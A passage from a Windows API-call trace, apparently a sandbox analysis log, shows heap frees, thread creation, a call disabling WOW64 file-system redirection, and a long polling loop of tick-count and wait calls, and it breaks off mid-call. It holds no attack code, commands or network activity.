hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0282.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0282.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0282.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0282.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0282.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0282.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0282.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0282.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0282.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0282.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0282.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0282.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x73fe40 | out: hHeap=0x670000) returned 1 Thread: id = 41 os_tid = 0xddc [0219.786] GetTickCount () returned 0x11405ae [0219.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x24) returned 0x6cce80 [0219.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6cce80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308 [0219.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6cce80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c [0219.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6cce80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310 [0219.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6cce80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314 [0219.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5d60 [0219.789] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5d60, Size=0x20) returned 0x6ad7f0 [0219.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5d60 [0219.789] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5d60, Size=0x20) returned 0x6ad6d8 [0219.790] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0219.790] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0219.790] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcff7c | out: OldValue=0x2fcff7c*=0x0) returned 1 [0219.790] lstrlenW (lpString="kernel32.dll") returned 12 [0219.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad7f0 | out: hHeap=0x670000) returned 1 [0219.790] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0219.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0219.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6fc030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0219.791] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0222.665] GetTickCount () returned 0x11410e9 [0222.665] GetTickCount () returned 0x11410e9 [0222.665] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0223.020] GetTickCount () returned 0x1141251 [0223.020] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0223.278] GetTickCount () returned 0x114134b [0223.278] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0223.560] GetTickCount () returned 0x1141464 [0223.560] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0223.791] GetTickCount () returned 0x114154e [0223.791] GetTickCount () returned 0x114154e [0223.791] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0224.000] GetTickCount () returned 0x1141629 [0224.000] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0224.322] GetTickCount () returned 0x1141761 [0224.322] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0224.812] GetTickCount () returned 0x1141955 [0224.812] GetTickCount () returned 0x1141955 [0224.812] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0225.165] GetTickCount () returned 0x1141aad [0225.165] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0225.530] GetTickCount () returned 0x1141c15 [0225.530] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0225.769] GetTickCount () returned 0x1141d0f [0225.769] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0226.146] GetTickCount () returned 0x1141e86 [0226.146] GetTickCount () returned 0x1141e86 [0226.146] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0226.553] GetTickCount () returned 0x114201c [0226.553] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0227.034] GetTickCount () returned 0x1142200 [0227.034] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0227.641] GetTickCount () returned 0x1142462 [0227.641] GetTickCount () returned 0x1142462 [0227.641] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0228.049] GetTickCount () returned 0x11425f8 [0228.049] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0228.545] GetTickCount () returned 0x11427ec [0228.545] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0228.804] GetTickCount () returned 0x11428e6 [0228.804] GetTickCount () returned 0x11428e6 [0228.804] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0228.910] GetTickCount () returned 0x1142953 [0228.910] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0229.064] GetTickCount () returned 0x11429ef [0229.064] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0229.546] GetTickCount () returned 0x1142bd4 [0229.546] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0229.736] GetTickCount () returned 0x1142c8f [0229.736] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0230.086] GetTickCount () returned 0x1142de7 [0230.086] GetTickCount () returned 0x1142de7 [0230.086] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0230.375] GetTickCount () returned 0x1142f00 [0230.375] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0230.473] GetTickCount () returned 0x1142f6e [0230.473] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0230.594] GetTickCount () returned 0x1142fdb [0230.594] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0230.693] GetTickCount () returned 0x1143048 [0230.693] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0230.909] GetTickCount () returned 0x1143114 [0230.909] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0231.021] GetTickCount () returned 0x1143191 [0231.021] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0231.146] GetTickCount () returned 0x114320e [0231.147] GetTickCount () returned 0x114320e [0231.147] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0231.256] GetTickCount () returned 0x114327b [0231.256] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0231.653] GetTickCount () returned 0x1143402 [0231.653] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0231.980] GetTickCount () returned 0x114354a [0231.980] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0232.152] GetTickCount () returned 0x11435f6 [0232.152] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0232.366] GetTickCount () returned 0x11436d0 [0232.366] GetTickCount () returned 0x11436d0 [0232.366] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0232.543] GetTickCount () returned 0x114377c [0232.543] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0232.725] GetTickCount () returned 0x1143838 [0232.725] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0233.160] GetTickCount () returned 0x11439ed [0233.160] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0233.661] GetTickCount () returned 0x1143be1 [0233.661] GetTickCount () returned 0x1143be1 [0233.661] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0234.129] GetTickCount () returned 0x1143db6 [0234.129] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0234.715] GetTickCount () returned 0x1143ff8 [0234.715] GetTickCount () returned 0x1143ff8 [0234.715] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0235.240] GetTickCount () returned 0x114420b [0235.240] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0235.785] GetTickCount () returned 0x114441f [0235.785] GetTickCount () returned 0x114441f [0235.785] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0236.083] GetTickCount () returned 0x1144557 [0236.083] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0238.275] GetTickCount () returned 0x1144de3 [0238.275] GetTickCount () returned 0x1144de3 [0238.275] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0238.715] GetTickCount () returned 0x1144f98 [0238.715] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0239.364] GetTickCount () returned 0x1145228 [0239.364] GetTickCount () returned 0x1145228 [0239.364] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0240.049] GetTickCount () returned 0x11454d8 [0240.049] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0240.375] GetTickCount () returned 0x1145620 [0240.375] GetTickCount () returned 0x1145620 [0240.375] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0240.827] GetTickCount () returned 0x11457e5 [0240.827] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0241.919] GetTickCount () returned 0x1145c2b [0241.919] GetTickCount () returned 0x1145c2b [0241.919] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0242.249] GetTickCount () returned 0x1145d73 [0242.249] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0242.456] GetTickCount () returned 0x1145e3e [0242.456] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0242.584] GetTickCount () returned 0x1145ebb [0242.584] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0242.712] GetTickCount () returned 0x1145f38 [0242.712] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0243.340] GetTickCount () returned 0x11461b9 [0243.340] GetTickCount () returned 0x11461b9 [0243.340] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0243.621] GetTickCount () returned 0x11462d2 [0243.621] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0244.076] GetTickCount () returned 0x1146497 [0244.076] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0244.349] GetTickCount () returned 0x11465a1 [0244.349] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0244.602] GetTickCount () returned 0x114669b [0244.602] GetTickCount () returned 0x114669b [0244.602] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0244.755] GetTickCount () returned 0x1146737 [0244.755] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0244.948] GetTickCount () returned 0x11467f2 [0244.948] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0245.448] GetTickCount () returned 0x11469f6 [0245.448] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0246.135] GetTickCount () returned 0x1146c96 [0246.135] GetTickCount () returned 0x1146c96 [0246.135] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0247.004] GetTickCount () returned 0x1147001 [0247.005] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0247.556] GetTickCount () returned 0x1147224 [0247.556] GetTickCount () returned 0x1147224 [0247.556] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0248.435] GetTickCount () returned 0x114759e [0248.435] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0248.639] GetTickCount () returned 0x114766a [0248.639] GetTickCount () returned 0x114766a [0248.639] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0248.904] GetTickCount () returned 0x1147773 [0248.904] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0249.115] GetTickCount () returned 0x114783e [0249.115] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0249.295] GetTickCount () returned 0x11478fa [0249.295] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0249.540] GetTickCount () returned 0x11479e4 [0249.540] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0249.870] GetTickCount () returned 0x1147b3c [0249.870] GetTickCount () returned 0x1147b3c [0249.870] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0250.437] GetTickCount () returned 0x1147d5f [0250.437] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0250.630] GetTickCount () returned 0x1147e2a [0250.630] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0250.964] GetTickCount () returned 0x1147f72 [0250.964] GetTickCount () returned 0x1147f72 [0250.964] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0251.285] GetTickCount () returned 0x11480ba [0251.285] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0251.588] GetTickCount () returned 0x11481e3 [0251.588] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0251.983] GetTickCount () returned 0x114836a [0251.983] GetTickCount () returned 0x114836a [0251.983] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0252.614] GetTickCount () returned 0x11485ea [0252.614] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.077] GetTickCount () returned 0x11487af [0253.077] GetTickCount () returned 0x11487af [0253.077] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.279] GetTickCount () returned 0x114887b [0253.279] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.445] GetTickCount () returned 0x1148926 [0253.445] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.602] GetTickCount () returned 0x11489c3 [0253.602] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.724] GetTickCount () returned 0x1148a40 [0253.724] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.838] GetTickCount () returned 0x1148aad [0253.838] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0253.944] GetTickCount () returned 0x1148b1a [0253.944] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.051] GetTickCount () returned 0x1148b88 [0254.051] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.160] GetTickCount () returned 0x1148bf5 [0254.160] GetTickCount () returned 0x1148bf5 [0254.160] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.270] GetTickCount () returned 0x1148c63 [0254.270] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.379] GetTickCount () returned 0x1148cd0 [0254.379] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.515] GetTickCount () returned 0x1148d4d [0254.516] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.621] GetTickCount () returned 0x1148dba [0254.621] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0254.813] GetTickCount () returned 0x1148e85 [0254.813] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0255.057] GetTickCount () returned 0x1148f7f [0255.057] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0255.243] GetTickCount () returned 0x114903b [0255.244] GetTickCount () returned 0x114903b [0255.244] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0255.427] GetTickCount () returned 0x11490e7 [0255.427] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0255.736] GetTickCount () returned 0x114921f [0255.736] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0256.034] GetTickCount () returned 0x1149348 [0256.034] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0256.317] GetTickCount () returned 0x1149461 [0256.317] GetTickCount () returned 0x1149461 [0256.317] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0256.692] GetTickCount () returned 0x11495d8 [0256.692] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0257.105] GetTickCount () returned 0x114977e [0257.114] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0257.278] GetTickCount () returned 0x114982a [0257.278] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0257.887] GetTickCount () returned 0x1149a7c [0257.887] GetTickCount () returned 0x1149a7c [0257.887] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0258.558] GetTickCount () returned 0x1149d2b [0258.558] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0258.814] GetTickCount () returned 0x1149e25 [0258.814] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0259.609] GetTickCount () returned 0x114a142 [0259.609] GetTickCount () returned 0x114a142 [0259.609] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0259.841] GetTickCount () returned 0x114a22d [0259.841] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0260.088] GetTickCount () returned 0x114a327 [0260.088] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0260.351] GetTickCount () returned 0x114a430 [0260.351] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0260.624] GetTickCount () returned 0x114a53a [0260.624] GetTickCount () returned 0x114a53a [0260.624] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0260.806] GetTickCount () returned 0x114a5f5 [0260.806] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0260.965] GetTickCount () returned 0x114a692 [0260.965] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0261.156] GetTickCount () returned 0x114a74d [0261.156] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0261.488] GetTickCount () returned 0x114a895 [0261.488] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0261.854] GetTickCount () returned 0x114aa0c [0261.854] GetTickCount () returned 0x114aa0c [0261.854] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0262.186] GetTickCount () returned 0x114ab54 [0262.186] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0262.306] GetTickCount () returned 0x114abd1 [0262.306] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0262.641] GetTickCount () returned 0x114ad1a [0262.641] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0262.843] GetTickCount () returned 0x114ade5 [0262.843] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0263.233] GetTickCount () returned 0x114af6b [0263.233] GetTickCount () returned 0x114af6b [0263.233] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0263.861] GetTickCount () returned 0x114b1dc [0263.861] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0264.258] GetTickCount () returned 0x114b373 [0264.258] GetTickCount () returned 0x114b373 [0264.258] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0264.638] GetTickCount () returned 0x114b4ea [0264.638] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0264.968] GetTickCount () returned 0x114b632 [0264.968] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0265.367] GetTickCount () returned 0x114b7c8 [0265.367] GetTickCount () returned 0x114b7c8 [0265.367] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0265.801] GetTickCount () returned 0x114b96e [0265.801] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0266.134] GetTickCount () returned 0x114bac6 [0266.134] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0266.432] GetTickCount () returned 0x114bbee [0266.432] GetTickCount () returned 0x114bbee [0266.432] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0266.687] GetTickCount () returned 0x114bce8 [0266.688] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0267.131] GetTickCount () returned 0x114beae [0267.131] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0267.571] GetTickCount () returned 0x114c063 [0267.571] GetTickCount () returned 0x114c063 [0267.571] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0268.052] GetTickCount () returned 0x114c238 [0268.052] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0268.336] GetTickCount () returned 0x114c361 [0268.336] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0268.563] GetTickCount () returned 0x114c43b [0268.563] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0268.774] GetTickCount () returned 0x114c516 [0268.774] GetTickCount () returned 0x114c516 [0268.774] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0269.093] GetTickCount () returned 0x114c64f [0269.093] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0269.756] GetTickCount () returned 0x114c8ef [0269.756] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0270.383] GetTickCount () returned 0x114cb60 [0270.383] GetTickCount () returned 0x114cb60 [0270.383] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0270.691] GetTickCount () returned 0x114cc88 [0270.691] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0271.045] GetTickCount () returned 0x114cdf0 [0271.045] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0271.238] GetTickCount () returned 0x114ceab [0271.238] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0271.740] GetTickCount () returned 0x114d0af [0271.740] GetTickCount () returned 0x114d0af [0271.740] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0272.014] GetTickCount () returned 0x114d1b9 [0272.014] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0272.433] GetTickCount () returned 0x114d35e [0272.433] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0272.822] GetTickCount () returned 0x114d4e5 [0272.822] GetTickCount () returned 0x114d4e5 [0272.822] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0273.134] GetTickCount () returned 0x114d60e [0273.135] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0273.567] GetTickCount () returned 0x114d7c3 [0273.567] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0273.800] GetTickCount () returned 0x114d8ae [0273.800] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0274.276] GetTickCount () returned 0x114da83 [0274.276] GetTickCount () returned 0x114da83 [0274.276] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0274.501] GetTickCount () returned 0x114db6d [0274.501] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0274.797] GetTickCount () returned 0x114dc96 [0274.797] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0274.929] GetTickCount () returned 0x114dd13 [0274.929] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0275.410] GetTickCount () returned 0x114def7 [0275.410] GetTickCount () returned 0x114def7 [0275.410] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0275.899] GetTickCount () returned 0x114e0dc [0275.899] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0276.431] GetTickCount () returned 0x114e2fe [0276.431] GetTickCount () returned 0x114e2fe [0276.431] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0276.659] GetTickCount () returned 0x114e3d9 [0276.659] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0276.885] GetTickCount () returned 0x114e4b4 [0276.885] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.175] GetTickCount () returned 0x114e5dd [0277.175] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.306] GetTickCount () returned 0x114e65a [0277.306] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.414] GetTickCount () returned 0x114e6c7 [0277.414] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.523] GetTickCount () returned 0x114e735 [0277.523] GetTickCount () returned 0x114e735 [0277.523] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.626] GetTickCount () returned 0x114e7a2 [0277.626] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.736] GetTickCount () returned 0x114e80f [0277.736] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.850] GetTickCount () returned 0x114e87d [0277.850] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0277.980] GetTickCount () returned 0x114e8fa [0277.980] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.079] GetTickCount () returned 0x114e967 [0278.079] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.189] GetTickCount () returned 0x114e9d4 [0278.189] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.298] GetTickCount () returned 0x114ea42 [0278.298] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.410] GetTickCount () returned 0x114eaaf [0278.410] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.537] GetTickCount () returned 0x114eb2c [0278.537] GetTickCount () returned 0x114eb2c [0278.537] WaitForSingleObject (hHandle=0x318, 